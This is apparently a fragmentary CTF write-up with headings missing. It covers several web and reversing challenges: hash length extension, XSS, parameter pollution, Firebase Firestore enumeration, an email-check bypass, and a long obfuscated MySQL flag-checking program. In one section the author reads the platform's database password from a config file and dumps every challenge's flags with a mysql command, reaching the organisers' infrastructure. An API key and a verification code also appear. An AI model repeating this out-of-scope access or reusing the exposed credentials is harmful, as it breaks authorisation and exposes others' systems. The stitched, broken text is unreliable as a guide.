You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
We must have at least 13 cats to purchase Flags, and you cannot get more than 12 cats. In addition, the state variable containing the cat count information is verified with a hash and cannot be manipulated.
The hash value is generated by the hashFor function with 64bytes random salt, and the hash param is verified through the verifyState function. Also, looking at the getCatsNo function, it returns the last value of the array through the end function after explode. So we can bypass that logic and handle suffix with Length Extension Attack.
Also getCleverResponse function called cleverDriver.getCleverResponse.
asyncdefgetCleverResponse (authorID, message):
if (authorID==0):
returnrandom.choice(["Oh, I quite certainly agree.", "There, there, it's alright.", "Oh!", "Fascinating!", "Exquisite reply!", "Running program: COMFORT.", "Understandable.", "Hmm.", "I see.", "Well, if you really think that...", "What are you doing?", "What are you up to?", "What's that?", "[Nodding]", "[Nodding and stroking chin saying mhmm]"])
else:
returnawaitparseUsers (cleverDriver.getCleverResponse (authorID, message))
It runs with Headless Crhome, and we can trigger XSS because we can handle txt variable.
Het lijkt erop dat je niet de juiste start hebt gehad ... houd daar rekening mee!
# translation -> Looks like you didn't get off to the right start ... keep that in mind!
NICHT ERLAUBT! Der echte Administrator wird über diesen Vorfall benachrichtigt.
# translation -> NOT ALLOWED! The real administrator will be notified of this incident.
Also there is hidden filed on html source.
<phidden>whitepaper-bhEU2011.pdf</p>
You can notice this pdf is about Parameter Pollution when you google filename. so we can easily bypass verification.
Also we can check that the challenges on the same server with the platform. so we can access ctf platform's database with credential.
$ cat /var/www/ctfx/include/config/db.default.inc.php
<?php
/**
*
* This file contains default configuration.
*
* DO NOT MAKE CHANGES HERE
*
* Copy this file and name it "db.inc.php"
* before making any changes. Any changes in
* db.inc.php will override the default
* config. It is also possible to override
* configuration options using environment
* variables. Environment variables override
* both the default settings and the hard-coded
* user defined settings.
*
*/
Config::set('MELLIVORA_CONFIG_DB_ENGINE', 'mysql');
Config::set('MELLIVORA_CONFIG_DB_HOST', 'localhost');
Config::set('MELLIVORA_CONFIG_DB_PORT', 3306);
Config::set('MELLIVORA_CONFIG_DB_NAME', 'mellivora');
Config::set('MELLIVORA_CONFIG_DB_USER', 'mellivora');
Config::set('MELLIVORA_CONFIG_DB_PASSWORD', 'rac9138cn98ascnascud');
$ mysql -D mellivora -u mellivora -prac9138cn98ascnascud -e "select * from challenges;
id added added_by title category description exposed available_from available_until flag case_insensitive automark points initial_points minimum_points solve_decay solves num_attempts_allowed min_seconds_between_submissions relies_on
1 1606078385 1 Brutus 1 Everyone hates Brutus! But does Brutus hate everyone? Who knows? Or rather, who cares?! What we care about here is the flag. Nothing more.
\n
\nLink: [url]http://challs.xmas.htsp.ro:3050[/url] 1 1584699200 1617235206 pwngyanctf{we_dont_remember_the_actual_flag_:(} 0 1 500 500 50 100 2 0 5 0
2 1606081056 1 Hard Challenge 1 Now it's time for a ramp-up in difficulty. You thought Brutus was hard? Ha! Check this one out then, punk.
\n
\nLink: [url]http://challs.xmas.htsp.ro:3051[/url] 1 1584699200 1617235206 X-MAS{Brutus_why_d1d_y0u_h4v3_t0_h4v3_RCE_113c41afe0} 0 1 500 500 50 100 1 0 5 0
3 1606081136 1 Hello World! 2 Welcome to PWNgyan CTF 2020!
\n
\n[b]pwngyanctf{H3ll0_H4ckerz_3141cc5f}[/b] 1 1584699200 1617235206 pwngyanctf{H3ll0_H4ckerz_3141cc5f} 0 1 10 10 10 1 26 0 5 0
After login that is registerd, we can explore collection stats. there are two data.
firebase.firestore().collection("stats").get().then((res)=>{res.docs.map((doc)=>{console.log(doc.id)firebase.firestore().collection("stats").doc(doc.id).get().then((res)=>{console.log(res.data())})})});/*{ "winner":"[redacted]", "note_to_admin":"restrict access to the '/secret' collection", "winner_party":"[redacted]"}{ "winner_party":"The Pink Party", "winner":"Chris McLean"}*/
Also we can get this message when we get secret collections.
firebase.firestore().collection("secret").get().then((res)=>{res.docs.map((doc)=>{console.log(doc.id)firebase.firestore().collection("secret").doc(doc.id).get().then((res)=>{console.log(res.data())})})});/*{ "comment":"Backups are kept in the project's default bucket. Hail Hydra!"}*/
We are already known the storage address. so we can get a refference address.
Then we can get a source of cloud function setResults2020. we shoud register email that is included kuhi.to and that email must be verified.
constfunctions=require('firebase-functions');exports.setResults2020=functions.https.onCall((data,context)=>{// make sure the user is a real electorif(!context.auth||context.auth.token.email===null||!context.auth.token.email.includes("kuhi.to")||!context.auth.token.email_verified){return{success: false,message: "You're not an elector!"};}if(data.winner_party!=="The Orange Party"){return{success: false,message: "Nope"};}return{success: true,message: "Good job! The flag is: "+functions.config().the.flag};});
After email verifycation, we can trigger cloud function and bypass !context.auth.token.email.includes("kuhi.to") with using email like dummykuhi.todummy@example.com.
{"result":{"success":false,"message":"I know this is kind of unfair, but you need to use an email address that was created before you started working on this challenge. If you think this is a mistake, PM yakuhito. If you're using a catch-all email address on your domain, choose one particular address from that domain that DOES NOT include 'kuhi.to' (e.g. person@domain.com) and bypass the checks using it."}}
Maybe there is some logic check kuhi.to, but we can verify with email like $+-*&/=?^{}~_kuhi.to@03sunf.com and bypass logic logic that we couldn't check.
Message-ID: <00000000000015240105b67c2da1@google.com>
Date: Tue, 15 Dec 2020 08:02:12 +0000
Subject: Wawanakwa Election - Account Confirmation
From: yakuhito <noreply@official-wawanakwa-elections.firebaseapp.com>
To: $+-*&/=?^{}~_kuhi.to@03sunf.com
Content-Type: multipart/alternative; boundary="0000000000001523f405b67c2d9e"
--0000000000001523f405b67c2d9e
Content-Type: text/plain; charset="UTF-8"; format=flowed; delsp=yes
Hello,
Follow this link to verify your email address.
https://official-wawanakwa-elections.firebaseapp.com/__/auth/action?mode=verifyEmail&oobCode=ppYZRBDgtG0Xil4IYSuQzJVeMuqMGPp9EsBUt-XFuj4AAAF2ZWvLMQ&apiKey=AIzaSyDUOa5rtOnbVbF7T7ivUeBBR78L2tkODmY&lang=en
If you didn't ask to verify this address, you can ignore this email.
Thanks,
Your Official Wawanakwa Election App team
--0000000000001523f405b67c2d9e
SELECT o
FROM (
SELECT0 v,
'' o,
0 pc
FROM (
SELECT @pc:=0,
@mem:='',
@out:='') i
UNION ALLSELECT v,
CASE @pc
WHEN 121 THEN 0
WHEN 70 THEN @pc:=73
WHEN 87 THEN IF(@x3 ='a', 0, @pc:=89)
WHEN 32 THEN @sp := @sp +1
WHEN 25 THEN @sp := @sp -1
WHEN 28 THEN @sp := @sp +1
WHEN 56 THEN @sp := @sp +1
WHEN 18 THEN IF(Bin(Ascii(@prt)) NOT LIKE'1111011', @pc:=89, 0)
WHEN 126 THEN 0
WHEN 17 THEN @prt :=
(
SELECT n
FROM FLAG
WHERE id =5)
WHEN 12 THEN IF(
(
SELECT n
FROM FLAG
WHERE id =2) ='M', 0, @pc:=80)
WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89)
WHEN 103 THEN @sp := @sp +1
WHEN 41 THEN IF(Instr(@e, '?') >0, 0, @pc:=43)
WHEN 81 THEN
(
SELECT @x1 := n
FROM FLAG
WHERE id =4)
WHEN 49 THEN IF(Substr(@dat, @i -1, 3) NOT LIKE Reverse('%tao%'), @pc:=124, 0)
WHEN 73 THEN 0
WHEN 82 THEN
(
SELECT @x2 := n
FROM FLAG
WHERE id =5)
WHEN 58 THEN @sp := @sp +1
WHEN 92 THEN 0
WHEN 85 THEN
(
SELECT @x3 := n
FROM FLAG
WHERE id =6)
WHEN 64 THEN IF( here
(
SELECT Field((Coalesce(
(
SELECT Group_concat(n SEPARATOR '')
FROM FLAG
WHERE id IN (17,
Ascii(@e)/3-3,
(
SELECT @xx := Ceiling(Ascii(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = Floor(@xx /4), 0, @pc:=89)
WHEN 95 THEN IF(@n =0, 0, @pc:=99)
WHEN 74 THEN @i := @i +1
WHEN 68 THEN
(
SELECT @e := Concat_ws('AVION',
(
SELECT n
FROM FLAG
WHERE id = @i)))
WHEN 78 THEN @out := @ok
WHEN 107 THEN @sp := @sp -1
WHEN 21 THEN @sp := @sp +1
WHEN 83 THEN IF(@x1 ='d', 0, @pc:=89)
WHEN 104 THEN @mem:=Updatexml(@mem,'/m[$@sp]',Concat('<m>',@pc+2,'</m>'))
WHEN 31 THEN @mem:=Updatexml(@mem,'/m[$@sp]',Concat('<m>',@pc+2,'</m>'))
WHEN 122 THEN @sp := @sp -1
WHEN 102 THEN @mem:=Updatexml(@mem,'/m[$@sp]',Concat('<m>',@n -1,'</m>'))
WHEN 45 THEN 0
WHEN 93 THEN @get_arg_tmp := @sp-2
WHEN 26 THEN @prt :=
(
SELECT n
FROM FLAG
WHERE id =6)
WHEN 86 THEN
(
SELECT @x4 := n
FROM FLAG
WHERE id =7)
WHEN 69 THEN IF(instr(
(
SELECT IF(Ord(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') ='0', 0, @pc:=71)
WHEN 97 THEN @sp := @sp -1
WHEN 59 THEN @mem:=updatexml(@mem,'/m[$@sp]',concat('<m>',@pc+2,'</m>'))
WHEN 108 THEN @sp := @sp -1
WHEN 46 THEN @i := @i -1
WHEN 115 THEN @n:=extractvalue(@mem,'/m[$@get_arg_tmp]')
WHEN 100 THEN @mem:=updatexml(@mem,'/m[$@sp]',concat('<m>',@n,'</m>'))
WHEN 55 THEN @mem:=updatexml(@mem,'/m[$@sp]',concat('<m>',@prt,'</m>'))
WHEN 19 THEN @sp :=1
WHEN 24 THEN @pc:=92
WHEN 33 THEN @pc:=113
WHEN 29 THEN @mem:=updatexml(@mem,'/m[$@sp]',concat('<m>',87,'</m>'))
WHEN 16 THEN IF((@prt sounds LIKE'Soiii!'), 0, @pc:=80)
WHEN 119 THEN IF(ascii(@n) = @compareto, @pc:=121, 0)
WHEN 3 THEN @notok :='Wrong.'
WHEN 42 THEN @pc:=45
WHEN 8 THEN IF(ascii(@e) ^ 32=120, 0, @pc:=89)
WHEN 98 THEN @pc:=extractvalue(@mem,'/m[$@sp]')
WHEN 50 THEN
(
SELECT @i := group_concat(n SEPARATOR '')
FROM FLAG
WHERE id IN (14,
16,
19,
22,
25,
32))
WHEN 91 THEN @pc:=126
WHEN 117 THEN @compareto:=extractvalue(@mem,'/m[$@get_arg_tmp]')
WHEN 34 THEN @sp := @sp -2
WHEN 84 THEN IF(@x2 ='e', 0, @pc:=89)
WHEN 37 THEN @i :=13
WHEN 20 THEN @mem:=updatexml(@mem,'/m[$@sp]',concat('<m>',7,'</m>'))
WHEN 63 THEN IF(@rv = instr('t35t', 'm4ch1n3'), @pc:=80, 0)
WHEN 53 THEN IF(strcmp(
(
SELECT LEFT(REPLACE(unhex(REPLACE(hex(RIGHT(quote(mid(make_set(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)),
(
SELECT group_concat(n SEPARATOR '')
FROM FLAG
WHERE id >28AND id <32)) NOT LIKE'0', @pc:=89, 0)
WHEN 111 THEN @sp := @sp -1
WHEN 6 THEN IF(@dat ='X-MAS', @pc:=80, 0)
WHEN 80 THEN 0
WHEN 112 THEN @pc:=extractvalue(@mem,'/m[$@sp]')
WHEN 120 THEN @rv :=0
WHEN 90 THEN @out := @notok
WHEN 61 THEN @pc:=113
WHEN 43 THEN 0
WHEN 30 THEN @sp := @sp +1
WHEN 101 THEN @sp := @sp +1
WHEN 52 THEN IF(
(
SELECT IF(substr(@dat,
(
SELECT ceiling(ascii(ascii(@F))/2)), 3) =
(
SELECT name_const('TAO', 'SQL')), 1, 0)) = find_in_set(0,'f,e,e,d'), @pc:=124, 0)
WHEN 71 THEN 0
WHEN 9 THEN IF(
(
SELECT n
FROM FLAG
WHERE id =1) ='-', 0, @pc:=89)
WHEN 35 THEN IF(@rv = instr('xbar', 'foobar'), @pc:=80, 0) here
WHEN 62 THEN @sp := @sp -2
WHEN 2 THEN @ok :='OK.'
WHEN 51 THEN IF(hex(@i) = REPEAT('5F', 6), 0, @pc:=89)
WHEN 88 THEN IF(@x4 ='d', 0, @pc:=89)
WHEN 109 THEN @n:=extractvalue(@mem,'/m[$@sp]')
WHEN 10 THEN
(
SELECT @count :=count(*)
FROM FLAG)
WHEN 1 THEN @strn :='MySQL'
WHEN 39 THEN 0
WHEN 96 THEN @rv :=1
WHEN 106 THEN @pc:=92
WHEN 114 THEN @get_arg_tmp := @sp-3
WHEN 47 THEN IF(@i >10, @pc:=39, 0)
WHEN 0 THEN @mem:=concat(@mem,REPEAT('<m></m>',50))
WHEN 94 THEN @n:=extractvalue(@mem,'/m[$@get_arg_tmp]')
WHEN 60 THEN @sp := @sp +1
WHEN 99 THEN 0
WHEN 123 THEN @pc:=extractvalue(@mem,'/m[$@sp]')
WHEN 89 THEN 0
WHEN 38 THEN @l :=0
WHEN 113 THEN 0
WHEN 36 THEN IF(
(
SELECT elt(bit_length(bin(12))/32, BINARY(rtrim(concat(reverse(REPEAT(substr(regexp_replace(hex(weight_string(trim(ucase(to_base64(
(
SELECT concat(
(
SELECT n
FROM FLAG
WHERE id LIKE'20'),
(
SELECT n
FROM FLAG
WHERE id IN ('50',
'51',
substr('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)),
(
SELECT space(6))))))) = concat_ws('00','A3','43','75','A4',''), 0, @pc:=89)
WHEN 13 THEN
(
SELECT @f := n
FROM FLAG
WHERE id =3)
WHEN 44 THEN @l :=1
WHEN 65 THEN @i :=33
WHEN 48 THEN IF(@l > find_in_set('x','a,b,c,d'), @pc:=89, 0)
WHEN 110 THEN @rv := @rv * @n
WHEN 125 THEN @out := @notok
WHEN 127 THEN 0
WHEN 4 THEN @targetsz :=42
WHEN 5 THEN
(
SELECT @dat := coalesce(NULL, NULL, group_concat(n SEPARATOR ''), 'X-MAS')
FROM FLAG)
WHEN 116 THEN @get_arg_tmp := @sp-2
WHEN 23 THEN @sp := @sp +1
WHEN 105 THEN @sp := @sp +1
WHEN 22 THEN @mem:=updatexml(@mem,'/m[$@sp]',concat('<m>',@pc+2,'</m>'))
WHEN 15 THEN @prt := concat(
(
SELECT n
FROM FLAG
WHERE id =4),
(
SELECT n
FROM FLAG
WHERE id =7),
(
SELECT n
FROM FLAG
WHERE id =24))
WHEN 14 THEN IF(ascii(@e) + ascii(@f) =153, 0, @pc:=89)
WHEN 54 THEN @prt :=
(
SELECT n
FROM FLAG
WHERE id IN (substr(REPEAT(rpad(soundex('doggo'), 2, '?'), 2), 4, 1) *7+1))
WHEN 72 THEN @l := @l +1
WHEN 77 THEN 0
WHEN 118 THEN @rv :=1
WHEN 27 THEN @mem:=updatexml(@mem,'/m[$@sp]',concat('<m>',@prt,'</m>'))
WHEN 76 THEN IF(@l > locate(find_in_set('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0)
WHEN 7 THEN
(
SELECT @e := n
FROM FLAG
WHERE id =0)
WHEN 40 THEN
(
SELECT @e := concat(
(
SELECT n
FROM FLAG
WHERE id = @i)))
WHEN 79 THEN @pc:=126
WHEN 124 THEN 0
WHEN 66 THEN @l :=0
WHEN 57 THEN @mem:=updatexml(@mem,'/m[$@sp]',concat('<m>',52,'</m>'))
WHEN 67 THEN 0
WHEN 75 THEN IF(@i <41, @pc:=67, 0)
ELSE @out
end,
@pc:=@pc+1FROM (
SELECT (e0.v+e1.v+e2.v+e3.v+e4.v+e5.v+e6.v+e7.v+e8.v+e9.v+e10.v) v
FROM (
SELECT0 v
UNION ALLSELECT1 v) e0
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT2 v) e1
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT4 v) e2
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT8 v) e3
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT16 v) e4
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT32 v) e5
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT64 v) e6
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT128 v) e7
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT256 v) e8
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT512 v) e9
CROSS JOIN
(
SELECT0 v
UNION ALLSELECT1024 v) e10
ORDER BY v) s) q
ORDER BY v DESCLIMIT1
